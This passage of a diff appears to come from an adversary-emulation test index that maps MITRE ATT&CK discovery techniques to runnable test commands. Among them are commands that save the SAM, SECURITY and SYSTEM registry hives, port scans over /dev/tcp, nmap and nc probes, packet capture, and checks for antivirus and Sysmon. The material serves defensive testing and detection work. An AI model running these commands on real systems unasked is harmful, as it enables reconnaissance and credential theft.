HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices - reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify - reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit - reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell - reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell - reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad - reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce - reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx - reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run - reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run - reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce - reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run - reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run - reg query hklm\system\currentcontrolset\services /s | findstr ImagePath 2>nul | findstr /Ri ".*\.sys$" - reg Query HKLM\Software\Microsoft\Windows\CurrentVersion\Run - reg save HKLM\Security security.hive - reg save HKLM\System system.hive - reg save HKLM\SAM sam.hive - T1018: + ls -a > allcontents.txt + ls -la /Library/Preferences/ > detailedprefsinfo.txt + file */* *>> ../files.txt + find . -type f + ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/' + locate * + which sh + - name: Nix File and Directory Discovery + description: 'Find or discover files on the file system + +' + supported_platforms: + - macos + - linux + executor: + name: sh + command: | + cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > /tmp/loot.txt + cat /etc/mtab > /tmp/loot.txt + find . -type f -iname *.pdf > /tmp/loot.txt + find . -type f -name ".*" + T1046: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1018 - source_name: mitre-attack - external_id: T1018 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - RedHuntLabs (@redhuntlabs) + x_mitre_permissions_required: + - Administrator + - SYSTEM + - User x_mitre_data_sources: + - Netflow/Enclave netflow - Network protocol analysis - - Process monitoring - - Process use of network + - Packet capture - Process command-line parameters - modified: '2019-04-18T17:28:03.428Z' - x_mitre_detection: "System and network discovery techniques normally occur throughout - an operation as an adversary learns the environment. Data and events should - not be viewed in isolation, but as part of a chain of behavior that could - lead to other activities, such as Lateral Movement, based on the information - obtained.\n\nNormal, benign system and network events related to legitimate - remote system discovery may be uncommon, depending on the environment and - how they are used. Monitor processes and command-line arguments for actions - that could be taken to gather system and network information. Remote access - tools with built-in features may interact directly with the Windows API to - gather information. Information may also be acquired through Windows system - management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) - and [PowerShell](https://attack.mitre.org/techniques/T1086). " - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process use of network + name: Network Service Scanning + description: "Adversaries may attempt to get a listing of services running on + remote hosts, including those that may be vulnerable to remote software exploitation. + Methods to acquire this information include port scans and vulnerability scans + using tools that are brought onto a system. \n\nWithin cloud environments, + adversaries may attempt to discover services running on other cloud hosts + or cloud services enabled within the environment. Additionally, if the cloud + environment is connected to a on-premises environment, adversaries may be + able to identify services running on non-cloud systems." + id: attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88 x_mitre_platforms: - Linux - - macOS - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735 - name: Remote System Discovery - created: '2017-05-31T21:30:28.187Z' - x_mitre_version: '1.1' + - macOS + - AWS + - GCP + - Azure + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2' type: attack-pattern - description: "Adversaries will likely attempt to get a listing of other systems - by IP address, hostname, or other logical identifier on a network that may - be used for Lateral Movement from the current system. Functionality could - exist within remote access tools to enable this, but utilities available on - the operating system could also be used. Adversaries may also use local host - files in order to discover the hostname to IP address mappings of remote systems. - \n\n### Windows\n\nExamples of tools and commands that acquire this information - include \"ping\" or \"net view\" using [Net](https://attack.mitre.org/software/S0039). - The contents of the C:\\Windows\\System32\\Drivers\\etc\\hosts - file can be viewed to gain insight into the existing hostname to IP mappings - on the system.\n\n### Mac\n\nSpecific to Mac, the bonjour protocol - to discover additional Mac-based systems within the same broadcast domain. - Utilities such as \"ping\" and others can be used to gather information about - remote systems. The contents of the /etc/hosts file can be viewed - to gain insight into existing hostname to IP mappings on the system.\n\n### - Linux\n\nUtilities such as \"ping\" and others can be used to gather information - about remote systems. The contents of the /etc/hosts file can - be viewed to gain insight into existing hostname to IP mappings on the system." - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - identifier: T1018 - atomic_tests: - - name: Remote System Discovery - net - description: 'Identify remote systems with net.exe - -' - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: false - command: | - net view /domain - net view - - name: Remote System Discovery - ping sweep - description: 'Identify remote systems via ping sweep - -' - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: false - command: 'for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i - -' - - name: Remote System Discovery - arp - description: 'Identify remote systems via arp - -' - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: false - command: 'arp -a + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -' - - name: Remote System Discovery - arp nix - description: 'Identify remote systems via arp + Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + created: '2017-05-31T21:30:43.915Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1046 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1046 + - source_name: capec + external_id: CAPEC-300 + url: https://capec.mitre.org/data/definitions/300.html + modified: '2019-10-23T14:20:49.573Z' + identifier: T1046 + atomic_tests: + - name: Port Scan + description: 'Scan ports to check for listening ports ' supported_platforms: @@ -14188,374 +14332,400 @@ discovery: executor: name: sh elevation_required: false - command: 'arp -a | grep -v ''^?'' - -' - - name: Remote System Discovery - sweep - description: 'Identify remote systems via ping sweep + command: | + for port in {1..65535}; + do + echo >/dev/tcp/192.168.1.1/$port && echo "port $port is open" || echo "port $port is closed" : ; + done + - name: Port Scan Nmap + description: 'Scan ports to check for listening ports with Nmap. ' supported_platforms: - linux - macos + input_arguments: + network_range: + description: Network Range to Scan. + type: string + default: 192.168.1.0/24 + port: + description: Ports to scan. + type: string + default: 80 + host: + description: Host to scan. + type: string + default: 192.168.1.1 executor: name: sh - elevation_required: false - command: 'for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip -o; [ $? -eq - 0 ] && echo "192.168.1.$ip UP" || : ; done - -' - - name: Remote System Discovery - nslookup - description: 'Powershell script that runs nslookup on cmd.exe against the local - /24 network of the first network adaptor listed in ipconfig - -' - supported_platforms: - - windows - executor: - name: powershell - elevation_required: true command: | - $localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1] - $pieces = $localip.split(".") - $firstOctet = $pieces[0] - $secondOctet = $pieces[1] - $thirdOctet = $pieces[2] - foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip} - T1063: + nmap -sS #{network_range} -p #{port} + telnet #{host} #{port} + nc -nv #{host} #{port} + T1135: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1063 - source_name: mitre-attack - external_id: T1063 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - - File monitoring - Process monitoring - Process command-line parameters - modified: '2019-04-23T21:51:36.072Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Network protocol analysis + - Process use of network + x_mitre_permissions_required: + - User + name: Network Share Discovery + description: "Networks often contain shared network drives and folders that + enable users to access file directories on various systems across a network. + \n\n### Windows\n\nFile sharing over a Windows network occurs over the SMB + protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared + Folder)\n\n[Net](https://attack.mitre.org/software/S0039) can be used to query + a remote system for available shared drives using the net view \\\\remotesystem + command. It can also be used to query shared drives on the local system using + net share.\n\nAdversaries may look for folders and drives shared + on remote systems as a means of identifying sources of information to gather + as a precursor for Collection and to identify potential systems of interest + for Lateral Movement.\n\n### Mac\n\nOn Mac, locally mounted shares can be + viewed with the df -aH command.\n\n### Cloud\n\nCloud virtual + networks may contain remote network shares or file storage services accessible + to an adversary after they have obtained access to a system. For example, + AWS, GCP, and Azure support creation of Network File System (NFS) shares and + Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based + systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File + servers on Compute Engine)" + id: attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f x_mitre_platforms: - macOS - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7 - name: Security Software Discovery - created: '2017-05-31T21:30:51.330Z' + - AWS + - GCP + - Azure + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '2.0' type: attack-pattern - description: |- - Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. These checks may be built into early-stage remote access tools. - - ### Windows - - Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - ### Mac + Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - identifier: T1063 + In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be sufficient due to benign use during normal operations. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1135 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1135 + - source_name: capec + external_id: CAPEC-643 + url: https://capec.mitre.org/data/definitions/643.html + - source_name: Wikipedia Shared Resource + description: Wikipedia. (2017, April 15). Shared resource. Retrieved June + 30, 2017. + url: https://en.wikipedia.org/wiki/Shared_resource + - source_name: TechNet Shared Folder + description: Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, + 2017. + url: https://technet.microsoft.com/library/cc770880.aspx + - description: Amazon. (n.d.). Creating an NFS File Share. Retrieved October + 23, 2019. + source_name: Amazon Creating an NFS File Share + url: https://docs.aws.amazon.com/storagegateway/latest/userguide/CreatingAnNFSFileShare.html + - description: Google Cloud. (2019, October 10). File servers on Compute Engine. + Retrieved October 23, 2019. + source_name: Google File servers on Compute Engine + url: https://cloud.google.com/solutions/filers-on-compute-engine + modified: '2019-10-23T14:34:08.075Z' + identifier: T1135 atomic_tests: - - name: Security Software Discovery - description: 'Methods to identify Security Software on an endpoint + - name: Network Share Discovery + description: 'Network Share Discovery ' supported_platforms: - - windows + - macos + - linux + input_arguments: + computer_name: + description: Computer name to find a mount on. + type: string + default: computer1 executor: - name: command_prompt - elevation_required: false + name: sh command: | - netsh.exe advfirewall firewall show all profiles - tasklist.exe - tasklist.exe | findstr /i virus - tasklist.exe | findstr /i cb - tasklist.exe | findstr /i defender - tasklist.exe | findstr /i cylance - - name: Security Software Discovery - powershell - description: 'Methods to identify Security Software on an endpoint + df -aH + smbutil view -g //#{computer_name} + showmount #{computer_name} + - name: Network Share Discovery command prompt + description: 'Network Share Discovery utilizing the command prompt ' supported_platforms: - windows + input_arguments: + computer_name: + description: Computer name to find a mount on. + type: string + default: computer1 executor: - name: powershell + name: command_prompt elevation_required: false - command: | - get-process | ?{$_.Description -like "*virus*"} - get-process | ?{$_.Description -like "*carbonblack*"} - get-process | ?{$_.Description -like "*defender*"} - get-process | ?{$_.Description -like "*cylance*"} - - name: Security Software Discovery - ps - description: 'Methods to identify Security Software on an endpoint + command: 'net view \\#{computer_name} ' - supported_platforms: - - linux - - macos - executor: - name: sh - elevation_required: false - command: | - ps -ef | grep Little\ Snitch | grep -v grep - ps aux | grep CbOsxSensorService - - name: Security Software Discovery - Sysmon Service - description: 'Discovery of an installed Sysinternals Sysmon service using driver - altitude (even if the name is changed). + - name: Network Share Discovery PowerShell + description: 'Network Share Discovery utilizing PowerShell ' supported_platforms: - windows + input_arguments: + computer_name: + description: Computer name to find a mount on. + type: string + default: computer1 executor: - name: command_prompt - elevation_required: true - command: fltmc.exe | findstr.exe 385201 - T1082: + name: powershell + elevation_required: false + command: | + net view \\#{computer_name} + get-smbshare -Name #{computer_name} + T1040: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1082 - source_name: mitre-attack - external_id: T1082 - - url: https://capec.mitre.org/data/definitions/311.html - source_name: capec - external_id: CAPEC-311 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: + - Network device logs + - Host network interface + - Netflow/Enclave netflow - Process monitoring - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Network Sniffing + description: |- + Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. + + Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities. + id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529 x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1 - name: System Information Discovery - created: '2017-05-31T21:31:04.307Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' + x_mitre_system_requirements: + - Network interface access and packet capture driver type: attack-pattern - description: |- - An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. - - ### Windows - - Example commands and utilities that obtain this information include ver, [Systeminfo](https://attack.mitre.org/software/S0096), and dir within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories. - - ### Mac - - On Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions. - x_mitre_permissions_required: - - User - identifier: T1082 + x_mitre_detection: Detecting the events leading up to sniffing network traffic + may be the best method of detection. From the host level, an adversary would + likely need to perform a man-in-the-middle attack against other devices on + a wired network in order to capture traffic that was not to or from the current + compromised system. This change in the flow of information is detectable at + the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. + Detecting compromised network devices is a bit more challenging. Auditing + administrator logins, configuration changes, and device images is required + to detect malicious changes. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:41.399Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1040 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1040 + - source_name: capec + external_id: CAPEC-158 + url: https://capec.mitre.org/data/definitions/158.html + modified: '2019-07-18T16:42:21.548Z' + identifier: T1040 atomic_tests: - - name: System Information Discovery - description: 'Identify System Info - -' - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: false - command: | - systeminfo - reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum - - name: System Information Discovery - description: 'Identify System Info + - name: Packet Capture Linux + description: 'Perform a PCAP. Wireshark will be required for tshark. TCPdump + may already be installed. ' supported_platforms: - linux - - macos + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: ens33 executor: - name: sh + name: bash + elevation_required: true command: | - systemsetup - system_profiler - ls -al /Applications - - name: List OS Information - description: 'Identify System Info + tcpdump -c 5 -nnni #{interface} + tshark -c 5 -i #{interface} + - name: Packet Capture MacOS + description: 'Perform a PCAP on MacOS. This will require Wireshark/tshark to + be installed. TCPdump may already be installed. ' supported_platforms: - - linux - macos + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: en0A executor: - name: sh + name: bash + elevation_required: true command: | - uname -a >> /tmp/loot.txt - cat /etc/lsb-release >> /tmp/loot.txt - cat /etc/redhat-release >> /tmp/loot.txt - uptime >> /tmp/loot.txt - cat /etc/issue >> /tmp/loot.txt - - name: Linux VM Check via Hardware - description: 'Identify virtual machine hardware. This technique is used by the - Pupy RAT and other malware. - -' + tcpdump -c 5 -nnni #{interface} + tshark -c 5 -i #{interface} + - name: Packet Capture Windows Command Prompt + description: | + Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark + installed, along with WinPCAP. Windump will require the windump executable. supported_platforms: - - linux + - windows + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: Ethernet0 executor: - name: bash + name: command_prompt + elevation_required: true command: | - cat /sys/class/dmi/id/bios_version | grep -i amazon - cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware" - cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU" - sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu" - cat /proc/scsi/scsi | grep -i "vmware\|vbox" - cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual" - sudo lspci | grep -i "vmware\|virtualbox" - sudo lscpu | grep -i "Xen\|KVM\|Microsoft" - - name: Linux VM Check via Kernel Modules - description: 'Identify virtual machine guest kernel modules. This technique - is used by the Pupy RAT and other malware. - -' + c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 + c:\windump.exe + - name: Packet Capture PowerShell + description: | + Perform a packet capture using PowerShell with windump or tshark. This will require a host that has Wireshark/Tshark + installed, along with WinPCAP. Windump will require the windump executable. supported_platforms: - - linux + - windows + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: Ethernet0 executor: - name: bash - command: |- - sudo lsmod | grep -i "vboxsf\|vboxguest" - sudo lsmod | grep -i "vmw_baloon\|vmxnet" - sudo lsmod | grep -i "xen-vbd\|xen-vnif" - sudo lsmod | grep -i "virtio_pci\|virtio_net" - sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc" - T1016: + name: powershell + elevation_required: true + command: | + c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 + c:\windump.exe + T1201: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1016 - source_name: mitre-attack - external_id: T1016 - - url: https://capec.mitre.org/data/definitions/309.html - source_name: capec - external_id: CAPEC-309 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + - Process monitoring + x_mitre_permissions_required: + - User + name: Password Policy Discovery + description: |- + Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies) + + ### Windows + * net accounts + * net accounts /domain + + ### Linux + * chage -l + * cat /etc/pam.d/common-password + + ### macOS + * pwpolicy getaccountpolicies + id: attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5 x_mitre_platforms: + - Windows - Linux - macOS - - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0 - name: System Network Configuration Discovery - created: '2017-05-31T21:30:27.342Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: Adversaries will likely look for details about the network configuration - and settings of systems they access or through information discovery of remote - systems. Several operating system administration utilities exist that can - be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), - [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), - [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). - x_mitre_permissions_required: - - User - identifier: T1016 + x_mitre_detection: Monitor processes for tools and command line arguments that + may indicate they're being used for password policy discovery. Correlate that + activity with other suspicious activity from the originating system to reduce + potential false positives from valid user or administrator activity. Adversaries + will likely attempt to find the password policy early in an operation and + the activity is likely to happen with other Discovery activity. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Sudhanshu Chauhan, @Sudhanshu_C + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1201 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1201 + - source_name: Superuser Linux Password Policies + description: Matutiae, M. (2014, August 6). How to display password policy + information for a user (Ubuntu)?. Retrieved April 5, 2018. + url: https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu + - source_name: Jamf User Password Policies + description: Holland, J. (2016, January 25). User password policies on non + AD machines. Retrieved April 5, 2018. + url: https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines + modified: '2019-07-18T17:03:40.469Z' + identifier: T1201 atomic_tests: - - name: System Network Configuration Discovery - description: 'Identify network configuration information + - name: Examine password complexity policy - Ubuntu + description: 'Lists the password complexity policy to console on Ubuntu Linux. ' supported_platforms: - - windows + - ubuntu executor: - name: command_prompt - elevation_required: false + name: bash + command: 'cat /etc/pam.d/common-password + +' + - name: Examine password complexity policy - CentOS/RHEL 7.x + description: 'Lists the password complexity policy to console on CentOS/RHEL + 7.x Linux. + +' + supported_platforms: + - centos + executor: + name: bash + command: 'cat /etc/security/pwquality.conf + +' + - name: Examine password complexity policy - CentOS/RHEL 6.x + description: 'Lists the password complexity policy to console on CentOS/RHEL + 6.x Linux. + +' + supported_platforms: + - centos + executor: + name: bash command: | - ipconfig /all - netsh interface show - arp -a - nbtstat -n - net config - - name: System Network Configuration Discovery - description: 'Identify network configuration information + cat /etc/pam.d/system-auth + + cat /etc/security/pwquality.conf + - name: Examine password expiration policy - All Linux + description: 'Lists the password expiration policy to console on CentOS/RHEL/Ubuntu. ' supported_platforms: - - macos - linux executor: - name: sh - elevation_required: false - command: | - arp -a - netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c - ifconfig - T1049: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1049 - source_name: mitre-attack - external_id: T1049 - x_mitre_data_sources: - - Process monitoring - - Process command-line parameters - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + name: bash + command: 'cat /etc/login.defs - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475 - name: System Network Connections Discovery - created: '2017-05-31T21:30:45.139Z' - x_mitre_version: '1.0' - type: attack-pattern - description: "Adversaries may attempt to get a listing of network connections - to or from the compromised system they are currently accessing or from remote - systems by querying for information over the network. \n\n### Windows\n\nUtilities - and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), - \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).\n\n### - Mac and Linux \n\nIn Mac and Linux, netstat and lsof - can be used to list current connections. who -a and w - can be used to show which users are currently logged in, similar to \"net - session\"." - x_mitre_permissions_required: - - User - - Administrator - identifier: T1049 - atomic_tests: - - name: System Network Connections Discovery - description: 'Get a listing of network connections. +' + - name: Examine local password policy - Windows + description: 'Lists the local password policy to console on Windows. ' supported_platforms: @@ -14563,340 +14733,416 @@ discovery: executor: name: command_prompt elevation_required: false - command: | - netstat - net use - net sessions - - name: System Network Connections Discovery with PowerShell - description: 'Get a listing of network connections. + command: 'net accounts + +' + - name: Examine domain password policy - Windows + description: 'Lists the domain password policy to console on Windows. ' supported_platforms: - windows executor: - name: powershell + name: command_prompt elevation_required: false - command: 'Get-NetTCPConnection + command: 'net accounts /domain ' - - name: System Network Connections Discovery Linux & MacOS - description: 'Get a listing of network connections. + - name: Examine password policy - macOS + description: 'Lists the password policy to console on macOS. ' supported_platforms: - - linux - macos executor: - name: sh - elevation_required: false - command: | - netstat - who -a - T1033: + name: bash + command: pwpolicy getaccountpolicies + T1069: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1033 - source_name: mitre-attack - external_id: T1033 - - url: https://capec.mitre.org/data/definitions/577.html - source_name: capec - external_id: CAPEC-577 + x_mitre_permissions_required: + - User x_mitre_data_sources: - - File monitoring + - Azure activity logs + - Office 365 account logs + - API monitoring - Process monitoring - Process command-line parameters + name: Permission Groups Discovery + description: "Adversaries may attempt to find local system or domain-level groups + and permissions settings. \n\n### Windows\n\nExamples of commands that can + list groups are net group /domain and net localgroup + using the [Net](https://attack.mitre.org/software/S0039) utility.\n\n### Mac\n\nOn + Mac, this same thing can be accomplished with the dscacheutil -q group + for the domain, or dscl . -list /Groups for local groups.\n\n### + Linux\n\nOn Linux, local groups can be enumerated with the groups + command and domain groups via the ldapsearch command.\n\n### + Office 365 and Azure AD\n\nWith authenticated access there are several tools + that can be used to find permissions groups. The Get-MsolRole + PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange + and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance)\n\nAzure + CLI (AZ CLI) also provides an interface to obtain permissions groups with + authenticated access to a domain. The command az ad user get-member-groups + will list groups associated to a user 